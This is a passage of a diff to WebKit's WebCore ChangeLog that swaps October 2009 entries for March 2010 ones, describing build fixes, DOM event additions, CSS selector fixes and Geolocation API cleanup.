-        * WebCore.vcproj/WebCore.make: Debug build in makefile should build Debug_All.
-        * WebCore.vcproj/WebCore.sln: Add Debug_All configuration.
-        * WebCore.vcproj/WebCore.submit.sln: Add Debug_All configuration.
-        * WebCore.vcproj/WebCore.vcproj: Add Debug_All configuration.
-        * WebCore.vcproj/WebCoreGenerated.vcproj: Renamed single configuration from "Release" to "all".
-
-2009-10-16  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        No review, rolling out r49693, because it broke Chromium build.
-        http://trac.webkit.org/changeset/49693
-
-        * WebCore.gyp/WebCore.gyp:
-        * WebCore.gypi:
-
-2009-10-16  Andrew Scherkus  <scherkus@chromium.org>
-
-        Reviewed by Eric Carlson.
-
-        Updated media resource selection algorithm to reflect latest HTML 5 specification.
-
-        Noticable changes:
-            -  Elements with no source should have their network state set to NETWORK_EMPTY as opposed to NETWORK_NO_SOURCE
-            -  Empty string ("") is now considered a valid URL resolving to the current page and will be loaded
-
-        Tests: media/video-src-empty.html
-               media/video-src-none.html
-
-        https://bugs.webkit.org/show_bug.cgi?id=30407
-
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::selectMediaResource): Updated code and comments to match spec.
-
-2009-10-16  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        Insecure plug-ins don't trigger mixed content
-        https://bugs.webkit.org/show_bug.cgi?id=30431
-
-        Added the missing check.
-
-        Test: http/tests/security/mixedContent/insecure-plugin-in-iframe.html
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::loadPlugin):
-
-2009-10-16  Andrew Scherkus  <scherkus@chromium.org>
-
-        Reviewed by Eric Carlson.
-
-        Set autobuffer to true and schedule load in V8 audio element constructor.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30448
-
-        Covered by existing tests.
+        This also removed moveLayer(), which is not used and may not be safe in how
+        it copies.
 
-        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL): Set autobuffer to true and schedule load.
-
-2009-10-16  Andrew Scherkus  <scherkus@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Remove FIXME in RenderMediaControlsChromium as bug was fixed upstream.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30422
+        * platform/graphics/win/GraphicsLayerCACF.cpp:Changed setName to be like Mac, to give more debugging info (to fix problems like these)
+        (WebCore::GraphicsLayerCACF::setName):
+        * platform/graphics/win/WKCACFLayer.cpp:Make sure superlayer is null before adding
+        (WebCore::WKCACFLayer::insertSublayer):
+        (WebCore::WKCACFLayer::replaceSublayer):
+        (WebCore::WKCACFLayer::removeFromSuperlayer):
+        (WebCore::WKCACFLayer::setSublayers):
+        (WebCore::WKCACFLayer::printLayer):print the superlayer for better debugging
+        * platform/graphics/win/WKCACFLayer.h:
 
-        Covered by existing media layout tests.
+2010-03-18  Dimitri Glazkov  <dglazkov@chromium.org>
 
-        * rendering/RenderMediaControlsChromium.cpp:
-        (WebCore::paintMediaSlider): Removed round() and FIXME.
+        Unreviewed, build fix.
 
-2009-10-16  Andrew Scherkus  <scherkus@chromium.org>
+        [Chromium] Change the order of mac/ and cg/ include dirs to fix compile break
+        due to http://trac.webkit.org/changeset/56192,
 
-        Reviewed by Eric Seidel.
+        * WebCore.gyp/WebCore.gyp: Changed the order.
 
-        Fix Chromium media controls to render a disabled play button when the element is unintialized.
+2010-03-18  David Hyatt  <hyatt@apple.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30410
+        Reviewed by Oliver Hunt.
 
-        Covered by existing layout tests.
+        https://bugs.webkit.org/show_bug.cgi?id=36325
 
-        * rendering/RenderMediaControlsChromium.cpp:
-        (WebCore::paintMediaPlayButton): Include check for NETWORK_EMPTY to render disabled play button.
+        Add support for stopImmediatePropagation from DOM Level 3 Events.
 
-2009-10-16  Oliver Hunt  <oliver@apple.com>
+        Added fast/events/stop-immediate-propagation.html.
 
-        Reviewed by Gavin Barraclough.
+        * dom/Event.cpp:
+        (WebCore::Event::Event):
+        * dom/Event.h:
+        (WebCore::Event::timeStamp):
+        (WebCore::Event::stopPropagation):
+        (WebCore::Event::stopImmediatePropagation):
+        (WebCore::Event::propagationStopped):
+        (WebCore::Event::immediatePropagationStopped):
+        * dom/Event.idl:
+        * dom/EventTarget.cpp:
+        (WebCore::EventTarget::fireEventListeners):
 
-        Make typeinfo flags default to false
-        https://bugs.webkit.org/show_bug.cgi?id=30372
+2010-03-18  Dimitri Glazkov  <dglazkov@chromium.org>
 
-        Last part -- replace HasDefaultGetPropertyNames with OverridesGetPropertyNames
-        flag.
+        Unreviewed, build fix.
 
-        * bindings/js/JSDOMWindowShell.h:
-        (WebCore::JSDOMWindowShell::createStructure):
-        * bindings/js/JSHTMLAllCollection.h:
-        (WebCore::JSHTMLAllCollection::createStructure):
-        * bindings/js/JSQuarantinedObjectWrapper.h:
-        (WebCore::JSQuarantinedObjectWrapper::createStructure):
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * bridge/runtime_array.h:
-        (JSC::RuntimeArray::createStructure):
-        * bridge/runtime_object.h:
-        (JSC::RuntimeObjectImp::createStructure):
+        Return frame accessor back to Geolocation, it's used in GeolocationServiceChromium.
+        The accessor was removed in http://trac.webkit.org/changeset/56188.
 
-2009-10-16  Steven Knight  <sgk@chromium.org>
+        * page/Geolocation.h:
+        (WebCore::Geolocation::frame): Added back.
 
-        Reviewed by David Levin.
+2010-03-18  Brent Fulgham  <bfulgham@webkit.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30447
-        Handle long link lines by building .idl-generated bindings in a
-        separate webcore_bindings library target.  Avoid Visual Studio
-        dependency issues by building additional generated .cpp and .h files
-        in a separate webcore_bindings_sources target.
+        Reviewed by Adam Roben.
 
-        Chrome should still build and test successfully.
+        Help reduce build problems due to font declarations.
+        https://bugs.webkit.org/show_bug.cgi?id=36190
 
-        * WebCore.gyp/WebCore.gyp:
-        * WebCore.gypi:
+        Functions unchanged, no new tests.
 
-2009-10-16  Simon Fraser  <simon.fraser@apple.com>
+        * WebCore.vcproj/WebCore.vcproj: Add new file, and show
+          movement of FontPlatformData.h to cg/ directory.
+        * platform/graphics/cairo/FontPlatformData.h: Merge in
+          WinCairo-specific declarations.  Correct constructor
+          declaration to use type float for font size.
+        (WebCore::FontPlatformData::FontPlatformData):
+        (WebCore::FontPlatformData::hfont):
+        (WebCore::FontPlatformData::useGDI):
+        (WebCore::FontPlatformData::fontFace):
+        (WebCore::FontPlatformData::setSize):
+        (WebCore::FontPlatformData::hash):
+        (WebCore::FontPlatformData::isHashTableDeletedValue):
+        * platform/graphics/cairo/FontPlatformDataCairo.cpp:
+        (WebCore::FontPlatformData::FontPlatformData): Correct
+          constructor to accept type float for font size.
+        * platform/graphics/cg/FontPlatformData.h: Copied from WebCore/platform/graphics/win/FontPlatformData.h.
+        (WebCore::FontPlatformData::FontPlatformData):
+        (WebCore::FontPlatformData::hfont):
+        (WebCore::FontPlatformData::cgFont):
+        (WebCore::FontPlatformData::operator==):
+        * platform/graphics/win/FontPlatformData.h: Removed.
+        * platform/graphics/win/FontPlatformDataCairoWin.cpp:
+        (WebCore::FontPlatformData::operator==): Move implementation
+          here (previously in header) to match other cairo-based ports.
+        * platform/graphics/win/RefCountedHFONT.h: Added.  This
+          was extracted from win/FontPlatformData.h, and is now shared
+          by the cg/FontPlatformData.h and cairo/FontPlatformData.h
+        (WebCore::RefCountedHFONT::create):
+        (WebCore::RefCountedHFONT::createDeleted):
+        (WebCore::RefCountedHFONT::~RefCountedHFONT):
+        (WebCore::RefCountedHFONT::hfont):
+        (WebCore::RefCountedHFONT::hash):
+        (WebCore::RefCountedHFONT::RefCountedHFONT):
 
-        Reviewed by Eric Carlson.
+2010-03-18  Simon Fraser  <simon.fraser@apple.com>
 
-        Transform transitions that used to be accelerated are no longer so
-        https://bugs.webkit.org/show_bug.cgi?id=30453
+        No review.
 
-        The change in r49633, to not run accelerated animations/transitions on layers that
-        are not attached, broke accelerated transitions/animations in many cases where they start
-        as soon as the page loads. This change reverts the code that tests for the GraphicsLayer being
-        attached.
+        Fix brace style after r56170.
         
-        No test, because it's not possible from a test to know whether a transition is accelerated or not.
-
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::startAnimation):
-        (WebCore::RenderLayerBacking::startTransition):
-
-2009-10-16  Kevin Ollivier  <kevino@theolliviers.com>
-
-        wxMSW build fix, build the MSW source to get methods that use the MSW version of
-        PlatformModuleVersion.
-
-        * wscript:
-
-2009-10-16  Adam Barth  <abarth@webkit.org>
-
-        Unreviewed build fix.  Add back MIMETypeRegistryChromium with the right
-        casing.
-
-        * platform/chromium/MIMETypeRegistryChromium.cpp: Added.
-        (WebCore::MIMETypeRegistry::getMIMETypeForExtension):
-        (WebCore::MIMETypeRegistry::getPreferredExtensionForMIMEType):
-        (WebCore::MIMETypeRegistry::getMIMETypeForPath):
-        (WebCore::MIMETypeRegistry::isSupportedImageMIMEType):
-        (WebCore::MIMETypeRegistry::isSupportedImageResourceMIMEType):
-        (WebCore::MIMETypeRegistry::isSupportedImageMIMETypeForEncoding):
-        (WebCore::MIMETypeRegistry::isSupportedJavaScriptMIMEType):
-        (WebCore::MIMETypeRegistry::isSupportedNonImageMIMEType):
-        (WebCore::MIMETypeRegistry::isSupportedMediaMIMEType):
-        (WebCore::MIMETypeRegistry::isJavaAppletMIMEType):
-        (WebCore::MIMETypeRegistry::getMediaMIMETypeForExtension):
-        (WebCore::dummyHashSet):
-        (WebCore::MIMETypeRegistry::getSupportedImageMIMETypes):
-        (WebCore::MIMETypeRegistry::getSupportedImageResourceMIMETypes):
-        (WebCore::MIMETypeRegistry::getSupportedImageMIMETypesForEncoding):
-        (WebCore::MIMETypeRegistry::getSupportedNonImageMIMETypes):
-        (WebCore::MIMETypeRegistry::getSupportedMediaMIMETypes):
-
-2009-10-16  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Darin Adler.
-
-        MimeTypeRegistryChromium is mis-casen
-        https://bugs.webkit.org/show_bug.cgi?id=30441
-
-        Change the case of MimeTypeRegistryChromium to match other platforms.
-
-        * WebCore.gypi:
-        * platform/chromium/MIMETypeRegistryChromium.cpp: Copied from WebCore/platform/chromium/MimeTypeRegistryChromium.cpp.
-        * platform/chromium/MimeTypeRegistryChromium.cpp: Removed.
-
-2009-10-16  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Change EmptyPluginHalterClient in SVGImage to be non-static, to
-        match changes made http://trac.webkit.org/changeset/49385.
-        https://bugs.webkit.org/show_bug.cgi?id=30403
-
-        Run the following layout test sequence:
-          LayoutTests/svg/W3C-SVG-1.1/struct-image-01-t.svg
-          LayoutTests/svg/W3C-SVG-1.1/struct-image-03-t.svg
-          LayoutTests/svg/W3C-SVG-1.1/struct-image-04-t.svg
-          LayoutTests/svg/W3C-SVG-1.1/struct-image-05-b.svg
-          LayoutTests/svg/W3C-SVG-1.1/struct-image-06-t.svg
-          LayoutTests/svg/W3C-SVG-1.1/struct-image-07-t.svg
-          LayoutTests/svg/W3C-SVG-1.1/struct-image-08-t.svg
-          LayoutTests/svg/W3C-SVG-1.1/struct-image-09-t.svg
-          LayoutTests/svg/W3C-SVG-1.1/struct-image-10-t.svg
-          LayoutTests/svg/carto.net/scrollbar.svg
-          LayoutTests/svg/carto.net/selectionlist.svg
-
-        selectionlist.svg should not crash.
-
-        * svg/graphics/SVGImage.cpp:
-        (WebCore::SVGImage::dataChanged): Made EmptyPluginHalterClient non-static.
-
-2009-10-16  Victor Wang  <victorw@chromium.org>
-
-        Reviewed by David Levin.
-
-        Add beforeload event support to V8DOMWrapper
-
-        https://bugs.webkit.org/show_bug.cgi?id=30413
-
-        LayoutTests/fast/dom/beforeload/frame-before-load.html
-
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::convertEventToV8Object):
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector):
 
-2009-10-16  Adam Barth  <abarth@webkit.org>
+2010-03-18  Simon Fraser  <simon.fraser@apple.com>
 
-        Reviewed by Darin Adler.
+        Reviewed by Dave Hyatt.
 
-        MimeTypeRegistryChromium is mis-casen
-        https://bugs.webkit.org/show_bug.cgi?id=30441
+        https://bugs.webkit.org/show_bug.cgi?id=36274
+        CSS3 :nth-child selector 'odd' keyword case sensitivity test fails
+        
+        The tests for "odd", "even" etc. for nth-child selectors should be case insensitive.
 
-        Change the case of MimeTypeRegistryChromium to match other platforms.
+        Test: fast/css/nth-child-odd-case-insensitive.html
 
-        * WebCore.gypi:
-        * platform/chromium/MIMETypeRegistryChromium.cpp: Copied from WebCore/platform/chromium/MimeTypeRegistryChromium.cpp.
-        * platform/chromium/MimeTypeRegistryChromium.cpp: Removed.
+        * css/CSSSelector.cpp:
+        (WebCore::CSSSelector::RareData::parseNth):
 
-2009-10-16  Adam Barth  <abarth@webkit.org>
+2010-03-18  David Hyatt  <hyatt@apple.com>
 
-        Reviewed by Mark Rowe.
+        Reviewed by Oliver Hunt.
 
-        Chrome doesn't set Content-Type for file upload when the file extension
-        is not recognized
-        https://bugs.webkit.org/show_bug.cgi?id=30433
+        https://bugs.webkit.org/show_bug.cgi?id=36265
 
-        Apparently, getMIMETypeForPath is supposed to return
-        application/octet-stream when it doesn't have a better MIME type.
+        Add support for event.defaultPrevented from DOM level 3.
+    
+        Added fast/events/defaultprevented.html
 
-        * platform/chromium/MimeTypeRegistryChromium.cpp:
-        (WebCore::MIMETypeRegistry::getMIMETypeForPath):
+        * dom/Event.idl:
 
-2009-10-16  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+2010-03-18  Darin Adler  <darin@apple.com>
 
-        Pull out r49676 as it caused build breakges on Symbian
+        Reviewed by Kenneth Rohde Christiansen.
 
-        * plugins/symbian/PluginViewSymbian.cpp:
+        Remove Geolocation.lastPosition, no longer in the spec.
+        https://bugs.webkit.org/show_bug.cgi?id=36255
+        rdar://problem/7746357
 
-2009-10-16  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+        * WebCore.base.exp: Updated since Geolocation's destructor is now non-virtual.
 
-        Reviewed by Ariya Hidayat.
+        * page/Geolocation.cpp:
+        (WebCore::Geolocation::lastPosition): Add an assertion; it's only legal to
+        call this if access to the location is allowed.
 
-        Crash fix when loading NPAPI plugins on Qt/Mac
+        * page/Geolocation.h: Removed unneeded includes. Made destructor non-virtual,
+        although it will still be virtual if any of the base classes have a virtual
+        destructor. Made lastPosition, isAllowed, and isDenied functions private.
+        Removed unused suspend, resume, setShouldClearCache, shouldClearCache,
+        and frame functions.
 
-        There's no guarantee that the plist will be valid even if we
-        ask the plugin to create it. Crash obverved with iGetter.
+        * page/Geolocation.idl: Removed lastPosition read-only attribute. No longer in
+        the Geolocation specification.
 
-        * plugins/mac/PluginPackageMac.cpp:
+2010-03-18  David Hyatt  <hyatt@apple.com>
 
-2009-10-15  Stephen White  <senorblanco@chromium.org>
+        Reviewed by Simon Fraser.
 
-        Reviewed by David Levin.
+        https://bugs.webkit.org/show_bug.cgi?id=36275
 
-        Fix for Chromium/skia's implementation of canvas's isPointInPath().
-        https://bugs.webkit.org/show_bug.cgi?id=30402
+        Make sure :not does not allow pseudo-elements inside it. (Hooray for another pointless
+        restriction on :not.)
 
-        Covered by LayoutTests/fast/canvas/pointInPath.html.
+        Added fast/css/invalid-not-with-pseudo-element.html
 
-        * platform/graphics/skia/SkiaUtils.cpp:
-        (WebCore::SkPathContainsPoint):
+        * css/CSSGrammar.y:
+        * css/CSSSelector.h:
+        (WebCore::CSSSelector::matchesPseudoElement):
 
-2009-10-15  Adam Barth  <abarth@webkit.org>
+2010-03-18  Dan Bernstein  <mitz@apple.com>
 
         Reviewed by Darin Adler.
 
-        Factor ResourceLoadNotifier out of FrameLoader
-        https://bugs.webkit.org/show_bug.cgi?id=30379
+        <rdar://problem/7761400> Rework the fix for
+        https://bugs.webkit.org/show_bug.cgi?id=18722
 
-        These methods have virtually no interaction with the rest of
-        FrameLoader.
+        Test: fast/dynamic/float-remove-above-line-2.html
 
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * dom/Document.cpp:
-        (WebCore::Document::resourceRetrievedByXMLHttpRequest):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::FrameLoader):
-        (WebCore::FrameLoader::continueLoadAfterWillSubmitForm):
-        (WebCore::ResourceLoadNotifier::ResourceLoadNotifier):
-        (WebCore::ResourceLoadNotifier::activeDocumentLoader):
-        (WebCore::ResourceLoadNotifier::assignIdentifierToInitialRequest):
-        (WebCore::ResourceLoadNotifier::willSendRequest):
-        (WebCore::ResourceLoadNotifier::didReceiveResponse):
-        (WebCore::ResourceLoadNotifier::didReceiveData):
-        (WebCore::ResourceLoadNotifier::didFailToLoad):
-        (WebCore::ResourceLoadNotifier::didLoadResourceByXMLHttpRequest):
-        (WebCore::FrameLoader::sendRemainingDelegateMessages):
-        (WebCore::FrameLoader::requestFromDelegate):
-        (WebCore::ResourceLoadNotifier::didFinishLoad):
-        (WebCore::ResourceLoadNotifier::didReceiveAuthenticationChallenge):
-        (WebCore::ResourceLoadNotifier::didCancelAuthenticationChallenge):
-        (WebCore::ResourceLoadNotifier::dispatchAssignIdentifierToInitialRequest):
-        (WebCore::ResourceLoadNotifier::dispatchWillSendRequest):
-        (WebCore::ResourceLoadNotifier::dispatchDidReceiveResponse):
-        (WebCore::ResourceLoadNotifier::dispatchDidReceiveContentLength):
-        (WebCore::ResourceLoadNotifier::dispatchDidFinishLoading):
-        * loader/FrameLoader.h:
-        (WebCore::FrameLoader::notifier):
-        * loader/MainResourceLoader.cpp:
-        (WebCore::MainResourceLoader::receivedError):
-        * loader/ResourceLoadNotifier.cpp: Added.
-        (WebCore::ResourceLoadNotifier::ResourceLoadNotifier):
-        (WebCore::ResourceLoadNotifier::didReceiveAuthenticationChallenge):
-        (WebCore::ResourceLoadNotifier::didCancelAuthenticationChallenge):
-        (WebCore::ResourceLoadNotifier::assignIdentifierToInitialRequest):
-        (WebCore::ResourceLoadNotifier::willSendRequest):
-        (WebCore::ResourceLoadNotifier::didReceiveResponse):
-        (WebCore::ResourceLoadNotifier::didReceiveData):
-        (WebCore::ResourceLoadNotifier::didFinishLoad):
-        (WebCore::ResourceLoadNotifier::didFailToLoad):
-        (WebCore::ResourceLoadNotifier::didLoadResourceByXMLHttpRequest):
-        (WebCore::ResourceLoadNotifier::dispatchAssignIdentifierToInitialRequest):
-        (WebCore::ResourceLoadNotifier::dispatchWillSendRequest):
-        (WebCore::ResourceLoadNotifier::dispatchDidReceiveResponse):
-        (WebCore::ResourceLoadNotifier::dispatchDidReceiveContentLength):
-        (WebCore::ResourceLoadNotifier::dispatchDidFinishLoading):
-        (WebCore::ResourceLoadNotifier::activeDocumentLoader):
-        * loader/ResourceLoadNotifier.h: Added.
-        * loader/ResourceLoader.cpp:
-        (WebCore::ResourceLoader::willSendRequest):
-        (WebCore::ResourceLoader::didReceiveResponse):
-        (WebCore::ResourceLoader::didReceiveData):
-        (WebCore::ResourceLoader::didFinishLoadingOnePart):
-        (WebCore::ResourceLoader::didFail):
-        (WebCore::ResourceLoader::didCancel):
-        (WebCore::ResourceLoader::didReceiveAuthenticationChallenge):
-        (WebCore::ResourceLoader::didCancelAuthenticationChallenge):
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::removeFloatingObject): Treat 0- and less-than-0-height floats
+        as having a height of 1 so that they intersect with the line they originate on.
+        (WebCore::RenderBlock::clearFloats): Use numeric_limits.
+        * rendering/RenderBlockLineLayout.cpp:
+        (WebCore::RenderBlock::layoutInlineChildren): Removed the intersection checks here,
+        so that a float is always included in the float list of the line it originates on, even
+        if it does not intersect that line. This ensures that every float is accounted for, which
+        is necessary during incremental layout when adding floats from clean lines.
 
-2009-10-15  Roland Steiner  <rolandsteiner@google.com>
+2010-03-18  Antti Koivisto  <koivisto@iki.fi>
 
-        Reviewed by Darin Fisher.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Bug 30427 -  Remove unneeded methods in ChromiumDataObject
-        (https://bugs.webkit.org/show_bug.cgi?id=30427)
+        https://bugs.webkit.org/show_bug.cgi?id=36102
+        [Qt] Scaling control API for tiled backing store
         
-        Remove no longer needed methods from ChromiumDataObject.
-
-        No new tests (no functional change)
-
-        * platform/chromium/ChromiumDataObject.h:
-
-2009-10-16  Yael Aharon  <yael.aharon@nokia.com>
-
-        Reviewed by Tor Arne Vestbø.
+        Commit the new scale synchronously after unfreeze to avoid ugliness.
 
-        [Qt] Need a way to inform the application when a Netscape plugin is created or deleted
-        https://bugs.webkit.org/show_bug.cgi?id=30179
+        * platform/graphics/TiledBackingStore.cpp:
+        (WebCore::TiledBackingStore::TiledBackingStore):
+        (WebCore::TiledBackingStore::setContentsScale):
+        (WebCore::TiledBackingStore::commitScaleChange):
+        (WebCore::TiledBackingStore::setContentsFrozen):
+        * platform/graphics/TiledBackingStore.h:
 
-        Inform the application when a plugin is created or destroyed, but only if the 
-        application registered for these notifications.
+2010-03-18  David Hyatt  <hyatt@apple.com>
 
-        * plugins/symbian/PluginViewSymbian.cpp:
-        (WebCore::PluginView::platformStart):
-        (WebCore::PluginView::platformDestroy):
+        Reviewed by Simon Fraser.
 
-2009-10-16  Shu Chang  <Chang.Shu@nokia.com>
+        https://bugs.webkit.org/show_bug.cgi?id=36281
 
-        Reviewed by Eric Seidel.
+        Make sure an exception is raised if an @import rule is inserted in the wrong place.
+        
+        Also make sure (so that this particular test case passes) that rgba(0, 0, 0, 0) is dumped
+        as transparent by getComputedStyle, since it most commonly occurs in background-color and
+        that default makes more sense than dumping rgba values.
 
-        Default language translation should be determined by locale settings,
-        e.g., "en-US".
-        https://bugs.webkit.org/show_bug.cgi?id=29653
+        Added fast/css/invalid-import-insertion.html
 
-        Test: fast/js/navigator-language.html
+        * css/CSSPrimitiveValue.cpp:
+        (WebCore::CSSPrimitiveValue::createColor):
+        * css/CSSStyleSheet.cpp:
+        (WebCore::CSSStyleSheet::insertRule):
 
-        * platform/qt/Localizations.cpp:
-        (WebCore::defaultLanguage):
+2010-03-18  Luiz Agostini  <luiz.agostini@openbossa.org>
 
-2009-10-16  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Reviewed by Ariya Hidayat.
+        Multiselect Popup - Listbox click simulation
+        https://bugs.webkit.org/show_bug.cgi?id=36177
 
-        Crash fix when loading NPAPI plugins on Qt/Mac
+        Listbox popups will need to notify the corresponding select elements that a
+        selection change happened. The current HTMLSelectElement interface does not
+        allow multiple selections.
 
-        There's no guarantee that the plist will be valid even if we
-        ask the plugin to create it. Crash obverved with iGetter.
+        The new method  listBoxSelectItem will be used for that. I have refactored part
+        of the mouse handling code in bug 36124 and I am now reusing it here for
+        <select multiple> popups. All the other cases will handled as they were before to be
+        sure that no side effects will show up.
 
-        * plugins/mac/PluginPackageMac.cpp:
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::updateListBoxSelection):
+        (WebCore::SelectElement::listBoxOnChange):
+        * dom/SelectElement.h:
+        * html/HTMLSelectElement.cpp:
+        (WebCore::HTMLSelectElement::listBoxPopupClick):
+        * html/HTMLSelectElement.h:
 
-2009-10-15  Stephen White  <senorblanco@chromium.org>
+2010-03-12  Ojan Vafai  <ojan@chromium.org>
 
         Reviewed by David Levin.
 
-        Fix for Chromium/skia's implementation of canvas's isPointInPath().
-        https://bugs.webkit.org/show_bug.cgi?id=30402
-
-        Covered by LayoutTests/fast/canvas/pointInPath.html.
-
-        * platform/graphics/skia/SkiaUtils.cpp:
-        (WebCore::SkPathContainsPoint):
-
-2009-10-15  Adam Barth  <abarth@webkit.org>
+        smartdelete should only occur after double-click
+        https://bugs.webkit.org/show_bug.cgi?id=35314
 
-        Reviewed by Darin Adler.
-
-        Factor ResourceLoadNotifier out of FrameLoader
-        https://bugs.webkit.org/show_bug.cgi?id=30379
+        1. Consolidate all notions of selection-granularity into SelectionController.
+        2. Now only mouse-based selections store a selection-granularity. This matches NSTextView.
 
-        These methods have virtually no interaction with the rest of
-        FrameLoader.
+        New tests were added in http://trac.webkit.org/changeset/55913.
 
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * dom/Document.cpp:
-        (WebCore::Document::resourceRetrievedByXMLHttpRequest):
+        * WebCore.base.exp:
+        * editing/MoveSelectionCommand.cpp:
+        (WebCore::MoveSelectionCommand::MoveSelectionCommand):
+        (WebCore::MoveSelectionCommand::doApply):
+        * editing/MoveSelectionCommand.h:
+        (WebCore::MoveSelectionCommand::create):
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::SelectionController):
+        (WebCore::SelectionController::setSelection):
+        (WebCore::SelectionController::modify):
+        (WebCore::SelectionController::clear):
+        * editing/SelectionController.h:
+        (WebCore::SelectionController::setSelection):
+        (WebCore::SelectionController::granularity):
+        * editing/VisibleSelection.cpp:
+        (WebCore::VisibleSelection::VisibleSelection):
+        (WebCore::VisibleSelection::expandUsingGranularity):
+        (WebCore::VisibleSelection::setStartAndEndFromBaseAndExtentRespectingGranularity):
+        (WebCore::VisibleSelection::validate):
+        * editing/VisibleSelection.h:
+        (WebCore::operator==):
         * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::FrameLoader):
-        (WebCore::FrameLoader::continueLoadAfterWillSubmitForm):
-        (WebCore::ResourceLoadNotifier::ResourceLoadNotifier):
-        (WebCore::ResourceLoadNotifier::activeDocumentLoader):
-        (WebCore::ResourceLoadNotifier::assignIdentifierToInitialRequest):
-        (WebCore::ResourceLoadNotifier::willSendRequest):
-        (WebCore::ResourceLoadNotifier::didReceiveResponse):
-        (WebCore::ResourceLoadNotifier::didReceiveData):
-        (WebCore::ResourceLoadNotifier::didFailToLoad):
-        (WebCore::ResourceLoadNotifier::didLoadResourceByXMLHttpRequest):
-        (WebCore::FrameLoader::sendRemainingDelegateMessages):
-        (WebCore::FrameLoader::requestFromDelegate):
-        (WebCore::ResourceLoadNotifier::didFinishLoad):
-        (WebCore::ResourceLoadNotifier::didReceiveAuthenticationChallenge):
-        (WebCore::ResourceLoadNotifier::didCancelAuthenticationChallenge):
-        (WebCore::ResourceLoadNotifier::dispatchAssignIdentifierToInitialRequest):
-        (WebCore::ResourceLoadNotifier::dispatchWillSendRequest):
-        (WebCore::ResourceLoadNotifier::dispatchDidReceiveResponse):
-        (WebCore::ResourceLoadNotifier::dispatchDidReceiveContentLength):
-        (WebCore::ResourceLoadNotifier::dispatchDidFinishLoading):
-        * loader/FrameLoader.h:
-        (WebCore::FrameLoader::notifier):
-        * loader/MainResourceLoader.cpp:
-        (WebCore::MainResourceLoader::receivedError):
-        * loader/ResourceLoadNotifier.cpp: Added.
-        (WebCore::ResourceLoadNotifier::ResourceLoadNotifier):
-        (WebCore::ResourceLoadNotifier::didReceiveAuthenticationChallenge):
-        (WebCore::ResourceLoadNotifier::didCancelAuthenticationChallenge):
-        (WebCore::ResourceLoadNotifier::assignIdentifierToInitialRequest):
-        (WebCore::ResourceLoadNotifier::willSendRequest):
-        (WebCore::ResourceLoadNotifier::didReceiveResponse):
-        (WebCore::ResourceLoadNotifier::didReceiveData):
-        (WebCore::ResourceLoadNotifier::didFinishLoad):
-        (WebCore::ResourceLoadNotifier::didFailToLoad):
-        (WebCore::ResourceLoadNotifier::didLoadResourceByXMLHttpRequest):
-        (WebCore::ResourceLoadNotifier::dispatchAssignIdentifierToInitialRequest):
-        (WebCore::ResourceLoadNotifier::dispatchWillSendRequest):
-        (WebCore::ResourceLoadNotifier::dispatchDidReceiveResponse):
-        (WebCore::ResourceLoadNotifier::dispatchDidReceiveContentLength):
-        (WebCore::ResourceLoadNotifier::dispatchDidFinishLoading):
-        (WebCore::ResourceLoadNotifier::activeDocumentLoader):
-        * loader/ResourceLoadNotifier.h: Added.
-        * loader/ResourceLoader.cpp:
-        (WebCore::ResourceLoader::willSendRequest):
-        (WebCore::ResourceLoader::didReceiveResponse):
-        (WebCore::ResourceLoader::didReceiveData):
-        (WebCore::ResourceLoader::didFinishLoadingOnePart):
-        (WebCore::ResourceLoader::didFail):
-        (WebCore::ResourceLoader::didCancel):
-        (WebCore::ResourceLoader::didReceiveAuthenticationChallenge):
-        (WebCore::ResourceLoader::didCancelAuthenticationChallenge):
+        (WebCore::FrameLoader::clear):
+        * page/DOMSelection.cpp:
+        (WebCore::DOMSelection::extend):
+        * page/DragController.cpp:
+        (WebCore::DragController::concludeEditDrag):
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::selectClosestWordFromMouseEvent):
+        (WebCore::EventHandler::selectClosestWordOrLinkFromMouseEvent):
+        (WebCore::EventHandler::handleMousePressEventTripleClick):
+        (WebCore::EventHandler::handleMousePressEventSingleClick):
+        (WebCore::EventHandler::updateSelectionForMouseDrag):
+        * page/Frame.cpp:
+        (WebCore::Frame::Frame):
+        (WebCore::Frame::selectionGranularity):
+        * page/Frame.h:
+        * rendering/RenderTextControl.cpp:
+        (WebCore::RenderTextControl::setSelectionRange):
 
-2009-10-15  Roland Steiner  <rolandsteiner@google.com>
+2010-03-18  Dimitri Glazkov  <dglazkov@chromium.org>
 
-        Reviewed by Darin Fisher.
+        Unreviewed, build fix.
 
-        Bug 30427 -  Remove unneeded methods in ChromiumDataObject
